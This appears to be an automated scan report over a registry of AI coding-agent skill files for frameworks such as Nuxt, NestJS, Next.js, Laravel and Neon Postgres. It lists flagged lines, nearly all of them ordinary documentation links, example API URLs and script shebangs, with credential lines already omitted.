swiftPackage( url = "https://github.com/googlemaps/ios-maps-sdk.git", version = "10.3.0", - Network accessline 251
url = "https://github.com/googlemaps/ios-maps-sdk.git", - Network accessline 279
// Main dependency swiftPackage( url = "https://github.com/firebase/firebase-ios-sdk.git", - Network accessline 280
swiftPackage( url = "https://github.com/firebase/firebase-ios-sdk.git", version = "12.5.0", - Network accessline 281
url = "https://github.com/firebase/firebase-ios-sdk.git", - Network accessline 286
// Transitive dependency with explicit version pin swiftPackage( url = url("https://github.com/apple/swift-protobuf.git"), - Network accessline 287
swiftPackage( url = url("https://github.com/apple/swift-protobuf.git"), version = exact("1.32.0"), - Network accessline 288
url = url("https://github.com/apple/swift-protobuf.git"),
packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/references/troubleshooting.md
- Network accessline 169
**Cause:** A third-party KMP library (e.g., [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) — `io.github.mirzemehdi:kmpnotifier`) bundles its own pre-built cinterop klib with the `cocoapods.FirebaseMessaging` namespace. The swiftPM - Network accessline 181
**How to identify bundled klibs in advance:** Check if the project depends on KMP libraries that wrap iOS SDKs. Known libraries: [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) (bundles `cocoapods.FirebaseMessaging`). Also check fo - Network accessline 183
**Inspecting klib contents:** Use `klib dump-metadata-signatures` to verify which classes a klib provides ([docs](https://kotlinlang.org/docs/native-libraries.html#using-kotlin-native-compiler)): - Network accessline 216
**Cause:** [firebase-kotlin-sdk](https://github.com/GitLiveApp/firebase-kotlin-sdk) (`dev.gitlive:firebase-*`) was published with CocoaPods-era cinterop klibs. These klibs have `-framework FirebaseCore`, `-framework FirebaseAuth`, etc. bake - Network accessline 297
swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 298
url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 336
swiftPackage( url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 337
url = url("https://github.com/firebase/firebase-ios-sdk.git"), - Network accessline 431
swiftPackage( url = url("https://github.com/googlemaps/ios-maps-sdk.git"), - Network accessline 432
url = url("https://github.com/googlemaps/ios-maps-sdk.git"), - Network accessline 440
Check [releases page](https://github.com/googlemaps/ios-maps-sdk/releases) for valid versions. - Network accessline 582
1. **Check sample projects:** - [kmp-with-cocoapods-compose-sample (spm_import branch)](https://github.com/Kotlin/kmp-with-cocoapods-compose-sample/tree/spm_import) - Network accessline 583
- [kmp-with-cocoapods-compose-sample (spm_import branch)](https://github.com/Kotlin/kmp-with-cocoapods-compose-sample/tree/spm_import) - Network accessline 584
- [kmp-with-cocoapods-firebase-sample (spm_import branch)](https://github.com/Kotlin/kmp-with-cocoapods-firebase-sample/tree/spm_import) - Network accessline 594
4. **Inspect klib contents** using the `klib` tool ([docs](https://kotlinlang.org/docs/native-libraries.html#using-kotlin-native-compiler)):
packages/autoskills/skills-registry/laravel-specialist/SKILL.md
- Network accessline 4
license: MIT metadata: author: https://github.com/Jeffallan - Network accessline 5
metadata: author: https://github.com/Jeffallan company: https://synergetic.solutions - Network accessline 6
author: https://github.com/Jeffallan - Network accessline 7
company: https://synergetic.solutions - Network accessline 265
Maintained by [@jeffallan](https://github.com/jeffallan), Principal Consultant at [Synergetic Solutions](https://synergetic.solutions) - Network accessline 267
[Documentation](https://jeffallan.github.io/claude-skills/skills/backend/laravel-specialist/)
packages/autoskills/skills-registry/laravel-specialist/references/queues.md
- Access to secretsline 397
[Credential-related source omitted]
packages/autoskills/skills-registry/laravel-specialist/references/routing.md
- Network accessline 354
'paths' => ['api/*', 'sanctum/csrf-cookie'], 'allowed_methods' => ['*'], 'allowed_origins' => ['http://localhost:3000'], - Network accessline 355
'allowed_methods' => ['*'], 'allowed_origins' => ['http://localhost:3000'], 'allowed_headers' => ['*'], - Network accessline 356
'allowed_origins' => ['http://localhost:3000'],
packages/autoskills/skills-registry/laravel-specialist/references/testing.md
packages/autoskills/skills-registry/machine-learning/assets/schema.json
packages/autoskills/skills-registry/machine-learning/scripts/validate.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/migrate-to-vinext/SKILL.md
- Network accessline 153
**IMPORTANT:** Do not use `getPlatformProxy()`, `getRequestContext()`, or custom worker entries with `fetch(request, env)` to access bindings. These are older patterns. `cloudflare:workers` is the recommended approach and works out of the b - Network accessline 157
For deploying to Vercel, Netlify, AWS, Deno Deploy, or any other [Nitro-supported platform](https://v3.nitro.build/deploy), add the Nitro Vite plugin:
packages/autoskills/skills-registry/migrate-to-vinext/references/config-examples.md
- Network accessline 151
Do NOT use `getPlatformProxy()`, `getRequestContext()`, or custom worker entries with `fetch(request, env)`. These are older patterns. `cloudflare:workers` is the recommended approach.
packages/autoskills/skills-registry/neon-postgres/SKILL.md
- Network accessline 13
metadata: parent: neon source: https://github.com/neondatabase/agent-skills/tree/main/skills/neon-postgres - Network accessline 14
parent: neon source: https://github.com/neondatabase/agent-skills/tree/main/skills/neon-postgres --- - Network accessline 15
source: https://github.com/neondatabase/agent-skills/tree/main/skills/neon-postgres - Network accessline 20
If the `neon` skill is not installed, fetch it from https://neon.com/docs/ai/skills/neon/SKILL.md or install it with: - Network accessline 62
Preserve the existing ORM and driver. For new TypeScript schema work with no established choice, Drizzle is a suggestion: https://neon.com/docs/guides/drizzle.md. Refer to the connection methods guide to pick the correct driver based on how - Network accessline 67
- On Cloudflare, use `node-postgres` with Cloudflare Hyperdrive - On Neon Functions, use `node-postgres`, as the functions are long-running and reuse the pool across requests. - Use the `@neondatabase/serverless` driver for serverless and e - Network accessline 69
- Use the `@neondatabase/serverless` driver for serverless and edge environments (for example, when using Netlify) — HTTP transport for one-shot queries, WebSocket for transaction support. Link: https://neon.com/docs/serverless/serverless-d - Network accessline 87
Link: https://neon.com/docs/introduction/branching.md - Network accessline 89
For detailed branch creation workflows (normal vs schema-only branches, reset-from-parent, CLI/MCP selection), use the `neon-postgres-branches` skill. If it isn't installed, fetch it from https://neon.com/docs/ai/skills/neon-postgres-branch - Network accessline 105
This section covers Neon-specific diagnostic tools, compute cache behavior, and platform signals. When the evidence points to generic Postgres work such as rewriting a query, choosing an index, changing a schema, or interpreting plan nodes, - Network accessline 109
- CLI: https://neon.com/docs/cli/inspect.md - Network accessline 110
- Query performance: https://neon.com/docs/postgresql/query-performance.md - Network accessline 111
- `pg_stat_statements`: https://neon.com/docs/extensions/pg_stat_statements.md - Network accessline 112
- Neon Local File Cache: https://neon.com/docs/extensions/neon.md - Network accessline 189
Link: https://neon.com/docs/introduction/autoscaling.md - Network accessline 201
Link: https://neon.com/docs/introduction/scale-to-zero.md - Network accessline 213
Link: https://neon.com/docs/introduction/branch-restore.md - Network accessline 225
Link: https://neon.com/docs/introduction/read-replicas.md - Network accessline 237
Link: https://neon.com/docs/connect/connection-pooling.md - Network accessline 243
Link: https://neon.com/docs/introduction/ip-allow.md - Network accessline 254
Link: https://neon.com/docs/guides/logical-replication-guide.md - Network accessline 267
- [Get started with Lakebase Search](https://neon.com/docs/ai/lakebase-search-get-started) - Network accessline 268
- [`lakebase_vector` reference](https://neon.com/docs/extensions/lakebase-vector) - Network accessline 269
- [`lakebase_text` reference](https://neon.com/docs/extensions/lakebase-text) - Network accessline 280
Running migrations, dumps, or replication over the pooled connection can fail, and never in a way that names pooling: `prepared statement "s0" already exists` from Prisma Migrate, a `SET search_path` that doesn't persist past its own transa
packages/autoskills/skills-registry/neon-postgres/references/full-text-search.md
- Network accessline 109
Source: [`lakebase_text` documentation](https://neon.com/docs/extensions/lakebase-text).
packages/autoskills/skills-registry/neon-postgres/references/hybrid-search.md
- Network accessline 94
[lakebase-search-guide]: https://neon.com/docs/ai/lakebase-search-get-started#combine-results-with-hybrid-search
packages/autoskills/skills-registry/neon-postgres/references/lakebase-search-drizzle.md
- Network accessline 125
Use the [Vercel AI SDK](https://ai-sdk.dev) (`ai`, 6+) with Neon's `@neon/ai-sdk-provider` 1.0.0+. Follow the [gateway setup](vector-search.md#prepare-embeddings), then install the packages with `npm install @neon/ai-sdk-provider ai dotenv` - Network accessline 255
- [AI Gateway embeddings](https://neon.com/docs/ai-gateway/embeddings) - Network accessline 256
- [Get started with Lakebase Search](https://neon.com/docs/ai/lakebase-search-get-started) - Network accessline 257
- [Schema migration with Lakebase Postgres and Drizzle ORM](https://neon.com/docs/guides/drizzle-migrations)
packages/autoskills/skills-registry/neon-postgres/references/vector-search.md
- Network accessline 27
Neon's [AI Gateway embeddings endpoint](https://neon.com/docs/ai-gateway/embeddings) is an OpenAI-compatible way to generate vectors for Lakebase Search. This table uses 1024 dimensions as an example; set the column dimension to the output - Network accessline 46
For TypeScript apps, use Neon's `@neon/ai-sdk-provider` 1.0.0+ with the [Vercel AI SDK](https://ai-sdk.dev) (`ai`, 6+) (`npm install @neon/ai-sdk-provider ai dotenv`). The provider reads `NEON_AI_GATEWAY_TOKEN` and `NEON_AI_GATEWAY_BASE_URL - Network accessline 74
For Neon documentation search, the example adapts the task instruction in Qwen3's stored `query` prompt from [config_sentence_transformers.json](https://huggingface.co/Qwen/Qwen3-Embedding-0.6B/blob/main/config_sentence_transformers.json). - Access to secretsline 84
[Credential-related source omitted] - Network accessline 117
Use the same `queryPrompt` defined above, only for query inputs. Keep each batch within the endpoint's input and rate limits, and pair each vector with its source row using the response `index`. The [OpenAI JavaScript SDK v6](https://github - Network accessline 131
Choose the metric recommended for the selected model, and keep its index operator class and query operator aligned. The [Qwen3 Embedding model card](https://huggingface.co/Qwen/Qwen3-Embedding-0.6B) demonstrates cosine similarity and normal - Network accessline 220
Source: [`lakebase_vector` documentation](https://neon.com/docs/extensions/lakebase-vector).
packages/autoskills/skills-registry/nestjs-best-practices/SKILL.md
- Network accessline 130
For the complete guide with all rules expanded in a single document, see [AGENTS.md in the repository](https://github.com/Kadajett/agent-nestjs-skills/blob/main/AGENTS.md). - Network accessline 131
[AGENTS.md in the repository](https://github.com/Kadajett/agent-nestjs-skills/blob/main/AGENTS.md).
packages/autoskills/skills-registry/nestjs-best-practices/rules/_template.md
- Network accessline 28
Reference: [Link to documentation or resource](https://example.com)
packages/autoskills/skills-registry/nestjs-best-practices/rules/api-use-dto-serialization.md
- Network accessline 182
Reference: [NestJS Serialization](https://docs.nestjs.com/techniques/serialization)
packages/autoskills/skills-registry/nestjs-best-practices/rules/api-use-interceptors.md
- Network accessline 202
Reference: [NestJS Interceptors](https://docs.nestjs.com/interceptors)
packages/autoskills/skills-registry/nestjs-best-practices/rules/api-use-pipes.md
- Network accessline 205
Reference: [NestJS Pipes](https://docs.nestjs.com/pipes)
packages/autoskills/skills-registry/nestjs-best-practices/rules/api-versioning.md
- Network accessline 191
Reference: [NestJS Versioning](https://docs.nestjs.com/techniques/versioning)
packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-avoid-circular-deps.md
- Network accessline 80
Reference: [NestJS Circular Dependency](https://docs.nestjs.com/fundamentals/circular-dependency)
packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-feature-modules.md
- Network accessline 82
Reference: [NestJS Modules](https://docs.nestjs.com/modules)
packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-module-sharing.md
- Network accessline 141
Reference: [NestJS Modules](https://docs.nestjs.com/modules#shared-modules)
packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-single-responsibility.md
- Network accessline 106
Reference: [NestJS Providers](https://docs.nestjs.com/providers)
packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-use-events.md
- Network accessline 108
Reference: [NestJS Events](https://docs.nestjs.com/techniques/events)
packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-use-repository-pattern.md
- Network accessline 97
Reference: [Repository Pattern](https://martinfowler.com/eaaCatalog/repository.html)
packages/autoskills/skills-registry/nestjs-best-practices/rules/db-avoid-n-plus-one.md
- Network accessline 139
Reference: [TypeORM Relations](https://typeorm.io/relations)
packages/autoskills/skills-registry/nestjs-best-practices/rules/db-use-migrations.md
- Network accessline 129
Reference: [TypeORM Migrations](https://typeorm.io/migrations)
packages/autoskills/skills-registry/nestjs-best-practices/rules/db-use-transactions.md
- Network accessline 140
Reference: [TypeORM Transactions](https://typeorm.io/transactions)
packages/autoskills/skills-registry/nestjs-best-practices/rules/devops-graceful-shutdown.md
- Network accessline 222
Reference: [NestJS Lifecycle Events](https://docs.nestjs.com/fundamentals/lifecycle-events)
packages/autoskills/skills-registry/nestjs-best-practices/rules/devops-use-config-module.md
packages/autoskills/skills-registry/nestjs-best-practices/rules/devops-use-logging.md
- Network accessline 232
Reference: [NestJS Logger](https://docs.nestjs.com/techniques/logger)
packages/autoskills/skills-registry/nestjs-best-practices/rules/di-avoid-service-locator.md
- Network accessline 104
Reference: [NestJS Module Reference](https://docs.nestjs.com/fundamentals/module-ref)
packages/autoskills/skills-registry/nestjs-best-practices/rules/di-interface-segregation.md
- Network accessline 165
Reference: [Interface Segregation Principle](https://en.wikipedia.org/wiki/Interface_segregation_principle)
packages/autoskills/skills-registry/nestjs-best-practices/rules/di-liskov-substitution.md
- Network accessline 221
Reference: [Liskov Substitution Principle](https://en.wikipedia.org/wiki/Liskov_substitution_principle)
packages/autoskills/skills-registry/nestjs-best-practices/rules/di-prefer-constructor-injection.md
- Network accessline 86
Reference: [NestJS Providers](https://docs.nestjs.com/providers)
packages/autoskills/skills-registry/nestjs-best-practices/rules/di-scope-awareness.md
- Network accessline 94
Reference: [NestJS Injection Scopes](https://docs.nestjs.com/fundamentals/injection-scopes)
packages/autoskills/skills-registry/nestjs-best-practices/rules/di-use-interfaces-tokens.md
- Network accessline 101
Reference: [NestJS Custom Providers](https://docs.nestjs.com/fundamentals/custom-providers)
packages/autoskills/skills-registry/nestjs-best-practices/rules/error-handle-async-errors.md
- Network accessline 125
Reference: [Node.js Unhandled Rejections](https://nodejs.org/api/process.html#event-unhandledrejection)
packages/autoskills/skills-registry/nestjs-best-practices/rules/error-throw-http-exceptions.md
- Network accessline 114
Reference: [NestJS Exception Filters](https://docs.nestjs.com/exception-filters)
packages/autoskills/skills-registry/nestjs-best-practices/rules/error-use-exception-filters.md
- Network accessline 140
Reference: [NestJS Exception Filters](https://docs.nestjs.com/exception-filters)
packages/autoskills/skills-registry/nestjs-best-practices/rules/micro-use-health-checks.md
- Network accessline 76
() => this.db.pingCheck('database'), () => this.http.pingCheck('redis', 'http://redis:6379', { timeout: 1000 }), - Network accessline 77
() => this.http.pingCheck('redis', 'http://redis:6379', { timeout: 1000 }), () => - Network accessline 78
this.http.pingCheck('redis', 'http://redis:6379', { timeout: 1000 }), - Network accessline 93
this.disk.checkStorage('disk', { path: '/', thresholdPercent: 0.9 }), () => this.http.pingCheck('external-api', 'https://api.example.com/health'), - Network accessline 94
() => this.http.pingCheck('external-api', 'https://api.example.com/health'), ]); - Network accessline 95
this.http.pingCheck('external-api', 'https://api.example.com/health'), - Network accessline 226
Reference: [NestJS Terminus](https://docs.nestjs.com/recipes/terminus)
packages/autoskills/skills-registry/nestjs-best-practices/rules/micro-use-patterns.md
- Network accessline 167
Reference: [NestJS Microservices](https://docs.nestjs.com/microservices/basics)
packages/autoskills/skills-registry/nestjs-best-practices/rules/micro-use-queues.md
- Network accessline 252
Reference: [NestJS Queues](https://docs.nestjs.com/techniques/queues)
packages/autoskills/skills-registry/nestjs-best-practices/rules/perf-async-hooks.md
- Network accessline 109
Reference: [NestJS Lifecycle Events](https://docs.nestjs.com/fundamentals/lifecycle-events)
packages/autoskills/skills-registry/nestjs-best-practices/rules/perf-lazy-loading.md
- Network accessline 121
Reference: [NestJS Lazy Loading Modules](https://docs.nestjs.com/fundamentals/lazy-loading-modules)
packages/autoskills/skills-registry/nestjs-best-practices/rules/perf-optimize-database.md
- Network accessline 131
Reference: [TypeORM Query Builder](https://typeorm.io/select-query-builder)
packages/autoskills/skills-registry/nestjs-best-practices/rules/perf-use-caching.md
- Network accessline 128
Reference: [NestJS Caching](https://docs.nestjs.com/techniques/caching)
packages/autoskills/skills-registry/nestjs-best-practices/rules/security-auth-jwt.md
- Network accessline 146
Reference: [NestJS Authentication](https://docs.nestjs.com/security/authentication)
packages/autoskills/skills-registry/nestjs-best-practices/rules/security-rate-limiting.md
- Network accessline 125
Reference: [NestJS Throttler](https://docs.nestjs.com/security/rate-limiting)
packages/autoskills/skills-registry/nestjs-best-practices/rules/security-sanitize-output.md
- Network accessline 139
Reference: [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
packages/autoskills/skills-registry/nestjs-best-practices/rules/security-use-guards.md
- Network accessline 135
Reference: [NestJS Guards](https://docs.nestjs.com/guards)
packages/autoskills/skills-registry/nestjs-best-practices/rules/security-validate-all-input.md
- Network accessline 150
Reference: [NestJS Validation](https://docs.nestjs.com/techniques/validation)
packages/autoskills/skills-registry/nestjs-best-practices/rules/test-e2e-supertest.md
- Network accessline 178
Reference: [NestJS E2E Testing](https://docs.nestjs.com/fundamentals/testing#end-to-end-testing)
packages/autoskills/skills-registry/nestjs-best-practices/rules/test-mock-external-services.md
- Network accessline 179
Reference: [Jest Mocking](https://jestjs.io/docs/mock-functions)
packages/autoskills/skills-registry/nestjs-best-practices/rules/test-use-testing-module.md
- Network accessline 153
Reference: [NestJS Testing](https://docs.nestjs.com/fundamentals/testing)
packages/autoskills/skills-registry/next-cache-components-adoption/SKILL.md
- Network accessline 14
Enable Cache Components on an app and walk it to a passing build. This skill sequences the work; per-error recipes live in the dev overlay fix cards and the build's terminal output. The [migrating to Cache Components guide](https://nextjs.o - Network accessline 24
- **Next.js 16.3 or later.** That release is where the pieces this skill relies on land: top-level `cacheComponents`, `export const instant`, the dev-overlay instant-navigation validation warnings, and the `cache-components-instant-false` c - Network accessline 26
- Read the relevant [version upgrade guide](https://nextjs.org/docs/app/guides/upgrading) (e.g. [Version 16](https://nextjs.org/docs/app/guides/upgrading/version-16)) for what the codemod doesn't cover. - Network accessline 28
- **No incompatible config keys.** `cacheComponents: true` errors on any file that still exports `dynamic`, `revalidate`, or `fetchCache`. Inventory these exports before running the codemod, then follow the [migration guide's per-key sectio - Network accessline 36
- **Existing caches can stay.** Follow the migration guide's [`fetch` and `unstable_cache` sections](https://nextjs.org/docs/app/guides/migrating-to-cache-components#fetch-cache-options). Do not rewrite them solely to enable Cache Component - Network accessline 55
`cacheComponents: true` requires every route to be prerenderable. A route that reads request-time data outside `<Suspense>` is "blocking" and fails the build. `export const instant = false` marks a route as allowed to block, which clears it - Network accessline 57
When a fix introduces `"use cache"`, follow the Caching guide for [choosing a data-level or UI-level boundary and setting its lifetime](https://nextjs.org/docs/app/getting-started/caching#usage) and [revalidating after mutations](https://ne - Network accessline 61
Whenever a fix introduces `<Suspense>`, follow the Streaming guide's [granular streaming pattern](https://nextjs.org/docs/app/guides/streaming#granular-streaming-with-suspense) and [guidance for preventing CLS](https://nextjs.org/docs/app/g - Network accessline 76
Every blocking error has a docs page — open it. Both the dev overlay and the build terminal print a `https://nextjs.org/docs/messages/<slug>` link with each error. That page is the canonical recipe for the fix; the inline message is a summa - Network accessline 84
1. **[`next-dev-loop`](https://github.com/vercel/next.js/tree/canary/skills/next-dev-loop) — strongly preferred.** Cross-checks `/_next/mcp` against the live browser via `agent-browser` and surfaces both compile and runtime issues in one pa - Network accessline 89
npx skills add https://github.com/vercel/next.js/tree/canary/skills/next-dev-loop - Network accessline 132
// TODO: Cache Components adoption. Refactor this route so this opt-out can be removed. // See: https://nextjs.org/docs/app/guides/migrating-to-cache-components - Network accessline 133
// See: https://nextjs.org/docs/app/guides/migrating-to-cache-components - Network accessline 157
Synthetic routes like `/_not-found` have no user file — when they block, fix the root layout's opt-out, not the synthetic route. Client Components (`"use client"`) get no opt-out (it's a build error to export `instant` from them), but they - Network accessline 188
- Remove the opt-out (Incremental) or target the failing route (Direct). - Reload in dev. Overlay clean? Skip to verify. Overlay still red? Fix. - Fix — fetch the docs page linked from the error (`https://nextjs.org/docs/messages/<slug>`), - Network accessline 189
- Reload in dev. Overlay clean? Skip to verify. Overlay still red? Fix. - Fix — fetch the docs page linked from the error (`https://nextjs.org/docs/messages/<slug>`), apply the recipe from there. The inline overlay text is a summary; the do - Network accessline 190
- Fix — fetch the docs page linked from the error (`https://nextjs.org/docs/messages/<slug>`), apply the recipe from there. The inline overlay text is a summary; the docs page is the source of truth. - Network accessline 200
- Remove the opt-out (Incremental) or target the failing route (Direct). - Rebuild with `--debug-build-paths app/<route>/**` (only that route) or `--debug-prerender` (full build, but past the first failure). Route passing? Move on. Still bl - Network accessline 201
- Rebuild with `--debug-build-paths app/<route>/**` (only that route) or `--debug-prerender` (full build, but past the first failure). Route passing? Move on. Still blocking? Fix. - Fix — fetch the docs page linked from the error (`https:// - Network accessline 202
- Fix — fetch the docs page linked from the error (`https://nextjs.org/docs/messages/<slug>`), apply the recipe from there. - Network accessline 208
- The [three blocker classes from background](#background) often get missed when fixing in place. Caching a downstream fetch (`getThing(id)`) doesn't clear an `await params` at the top of the page body — push the param promise into the `<Su - Network accessline 247
- [Sweep for more instant navigations](./references/dev-only-validations.md) — an optional follow-up once adoption is done, never required. A passing build is not the last word, because dev validates every route on each page load (simulatin - Network accessline 248
- [`next-partial-prefetching-adoption`](https://github.com/vercel/next.js/tree/canary/skills/next-partial-prefetching-adoption) — the follow-up skill that adopts Partial Prefetching: it enables `partialPrefetching` and audits every `<Link p - Network accessline 249
- [Prevent regressions with e2e tests](https://nextjs.org/docs/app/guides/instant-navigation#prevent-regressions-with-e2e-tests) — the `@next/playwright` [`instant()`](https://nextjs.org/docs/app/api-reference/file-conventions/route-segment - Network accessline 250
- [`next-cache-components-optimizer`](https://github.com/vercel/next.js/tree/canary/skills/next-cache-components-optimizer) — a separate skill that grows each route's static shell so more of the page prerenders and less streams in. Pure opt
packages/autoskills/skills-registry/next-cache-components-adoption/references/dev-only-validations.md
- Network accessline 3
How to surface and fix the instant-navigation insights that a clean `next build` does not show. The [Instant navigation guide](https://nextjs.org/docs/app/guides/instant-navigation) is the canonical reference for the validation model this e - Network accessline 15
Reuse the [`next-dev-loop`](https://github.com/vercel/next.js/tree/canary/skills/next-dev-loop) preflight (Turbopack), then add one job. On a webpack app, drive a browser directly with `agent-browser` or Playwright instead. You lose the `/_
packages/autoskills/skills-registry/next-cache-components-adoption/references/per-page-decisions.md
- Network accessline 13
If the blocking code looks like it's there for a _reason you can't infer_ — a security gate at the page top (`await verifyAccess()`, an auth redirect, a feature-flag check) where moving it inside `<Suspense>` would change what the code guar - Network accessline 17
If _every_ route under a layout is gated this way, a documented Block on the layout is the correct end state. Moving the gate to [Proxy](https://nextjs.org/docs/app/api-reference/file-conventions/proxy) is the architectural fix, not a Cache - Network accessline 19
For the broader picture, read the [Authentication guide](https://nextjs.org/docs/app/guides/authentication) (where auth checks belong: Proxy for routing, Data Access Layer for data) and the [Data Access Layer section of Data Security](https
packages/autoskills/skills-registry/nodejs-backend-patterns/references/advanced-patterns.md
packages/autoskills/skills-registry/nodejs-backend-patterns/references/details.md
- Access to secretsline 327
[Credential-related source omitted]
packages/autoskills/skills-registry/nodejs-express-server/references/authentication-with-jwt.md
- Access to secretsline 12
[Credential-related source omitted]
packages/autoskills/skills-registry/nodejs-express-server/references/environment-configuration.md
- Access to secretsline 16
[Credential-related source omitted] - Network accessline 18
}, cors: { origin: process.env.CORS_ORIGIN || "http://localhost:3000", - Network accessline 19
cors: { origin: process.env.CORS_ORIGIN || "http://localhost:3000", }, - Network accessline 20
origin: process.env.CORS_ORIGIN || "http://localhost:3000",
packages/autoskills/skills-registry/nodejs-express-server/references/middleware-chain-implementation.md
- Access to secretsline 21
[Credential-related source omitted]
packages/autoskills/skills-registry/nodejs-express-server/scripts/security-checklist.sh
- Executable scriptline 1
#!/bin/bash
packages/autoskills/skills-registry/nuxt/SKILL.md
- Network accessline 5
author: Anthony Fu version: "2026.9.25" source: Generated from https://github.com/nuxt/nuxt, scripts located at https://github.com/antfu/skills - Network accessline 6
version: "2026.9.25" source: Generated from https://github.com/nuxt/nuxt, scripts located at https://github.com/antfu/skills --- - Network accessline 7
source: Generated from https://github.com/nuxt/nuxt, scripts located at https://github.com/antfu/skills
packages/autoskills/skills-registry/nuxt/references/advanced-hooks.md
- Network accessline 292
<!-- Source references: - https://nuxt.com/docs/guide/going-further/hooks - Network accessline 293
Source references: - https://nuxt.com/docs/guide/going-further/hooks - https://nuxt.com/docs/api/advanced/hooks - Network accessline 294
- https://nuxt.com/docs/guide/going-further/hooks - Network accessline 295
- https://nuxt.com/docs/api/advanced/hooks - Network accessline 296
- https://nuxt.com/docs/getting-started/upgrade#migration-to-nitro-v3
packages/autoskills/skills-registry/nuxt/references/advanced-layers.md
- Network accessline 295
<!-- Source references: - https://nuxt.com/docs/getting-started/layers - Network accessline 296
Source references: - https://nuxt.com/docs/getting-started/layers - https://nuxt.com/docs/guide/going-further/layers - Network accessline 297
- https://nuxt.com/docs/getting-started/layers - Network accessline 298
- https://nuxt.com/docs/guide/going-further/layers
packages/autoskills/skills-registry/nuxt/references/advanced-module-authoring.md
- Network accessline 81
}, defaults: { baseURL: 'https://api.example.com', - Network accessline 82
defaults: { baseURL: 'https://api.example.com', timeout: 5000, - Network accessline 83
baseURL: 'https://api.example.com', - Network accessline 596
<!-- Source references: - https://nuxt.com/docs/api/kit/modules - Network accessline 597
Source references: - https://nuxt.com/docs/api/kit/modules - https://nuxt.com/docs/api/kit/components - Network accessline 598
- https://nuxt.com/docs/api/kit/modules - Network accessline 599
- https://nuxt.com/docs/api/kit/components - Network accessline 600
- https://nuxt.com/docs/api/kit/autoimports - Network accessline 601
- https://nuxt.com/docs/api/kit/plugins - Network accessline 602
- https://nuxt.com/docs/api/kit/templates - Network accessline 603
- https://nuxt.com/docs/api/kit/nitro - Network accessline 604
- https://nuxt.com/docs/api/kit/pages - Network accessline 605
- https://nuxt.com/docs/api/kit/resolving - Network accessline 606
- https://nuxt.com/docs/guide/modules/recipes-basics - Network accessline 607
- https://nuxt.com/docs/guide/modules/module-dependencies - Network accessline 608
- https://nuxt.com/docs/guide/modules/server-compatibility
packages/autoskills/skills-registry/nuxt/references/best-practices-data-fetching.md
- Network accessline 74
<script setup lang="ts"> // This fetches TWICE: once on server, once on client const data = await $fetch('/api/posts') - Network accessline 75
// This fetches TWICE: once on server, once on client const data = await $fetch('/api/posts') </script> - Network accessline 76
const data = await $fetch('/api/posts') - Network accessline 206
async (_nuxtApp, { signal }) => { const [user, posts, stats] = await Promise.all([ $fetch('/api/user', { signal }), - Network accessline 207
const [user, posts, stats] = await Promise.all([ $fetch('/api/user', { signal }), $fetch('/api/posts', { signal }), - Network accessline 208
$fetch('/api/user', { signal }), - Network accessline 209
$fetch('/api/posts', { signal }), - Network accessline 210
$fetch('/api/stats', { signal }), - Network accessline 336
// app/composables/useAPI.ts export const useAPI = createUseFetch({ baseURL: 'https://api.nuxt.com', - Network accessline 337
export const useAPI = createUseFetch({ baseURL: 'https://api.nuxt.com', onRequest({ options }) { - Network accessline 338
baseURL: 'https://api.nuxt.com', - Network accessline 360
// app/plugins/api.ts export default defineNuxtPlugin(() => { const api = $fetch.create({ baseURL: 'https://api.nuxt.com' }) - Network accessline 361
export default defineNuxtPlugin(() => { const api = $fetch.create({ baseURL: 'https://api.nuxt.com' }) return { provide: { api } } - Network accessline 362
const api = $fetch.create({ baseURL: 'https://api.nuxt.com' }) - Network accessline 395
<!-- Source references: - https://nuxt.com/docs/4.x/getting-started/data-fetching - Network accessline 396
Source references: - https://nuxt.com/docs/4.x/getting-started/data-fetching - https://nuxt.com/docs/4.x/api/composables/use-fetch - Network accessline 397
- https://nuxt.com/docs/4.x/getting-started/data-fetching - https://nuxt.com/docs/4.x/api/composables/use-fetch - https://nuxt.com/docs/4.x/api/composables/use-async-data - Network accessline 398
- https://nuxt.com/docs/4.x/api/composables/use-fetch - Network accessline 399
- https://nuxt.com/docs/4.x/api/composables/use-async-data - https://nuxt.com/docs/4.x/api/composables/use-lazy-fetch - https://nuxt.com/docs/4.x/guide/recipes/custom-usefetch - Network accessline 400
- https://nuxt.com/docs/4.x/api/composables/use-lazy-fetch - Network accessline 401
- https://nuxt.com/docs/4.x/guide/recipes/custom-usefetch
packages/autoskills/skills-registry/nuxt/references/best-practices-ssr.md
- Network accessline 350
<!-- Source references: - https://nuxt.com/docs/guide/concepts/auto-imports#vue-and-nuxt-composables - Network accessline 351
Source references: - https://nuxt.com/docs/guide/concepts/auto-imports#vue-and-nuxt-composables - https://nuxt.com/docs/guide/best-practices/hydration - Network accessline 352
- https://nuxt.com/docs/guide/concepts/auto-imports#vue-and-nuxt-composables - Network accessline 353
- https://nuxt.com/docs/guide/best-practices/hydration - Network accessline 354
- https://nuxt.com/docs/getting-started/state-management#best-practices
packages/autoskills/skills-registry/nuxt/references/core-cli.md
- Network accessline 10
> The CLI reference now lives in the [`nuxt/cli`](https://github.com/nuxt/cli) repo (its docs moved out of the main Nuxt repo). Commands and flags are unchanged. - Network accessline 47
# Start development server (default: http://localhost:3000) - Network accessline 259
<!-- Source references: - https://github.com/nuxt/cli - Network accessline 260
Source references: - https://github.com/nuxt/cli - https://nuxt.com/docs/api/commands - Network accessline 261
- https://github.com/nuxt/cli - Network accessline 262
- https://nuxt.com/docs/api/commands
packages/autoskills/skills-registry/nuxt/references/core-config.md
- Network accessline 103
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Network accessline 105
NUXT_PUBLIC_API_BASE=https://api.example.com - Network accessline 258
<!-- Source references: - https://nuxt.com/docs/getting-started/configuration - Network accessline 259
Source references: - https://nuxt.com/docs/getting-started/configuration - https://nuxt.com/docs/getting-started/upgrade - Network accessline 260
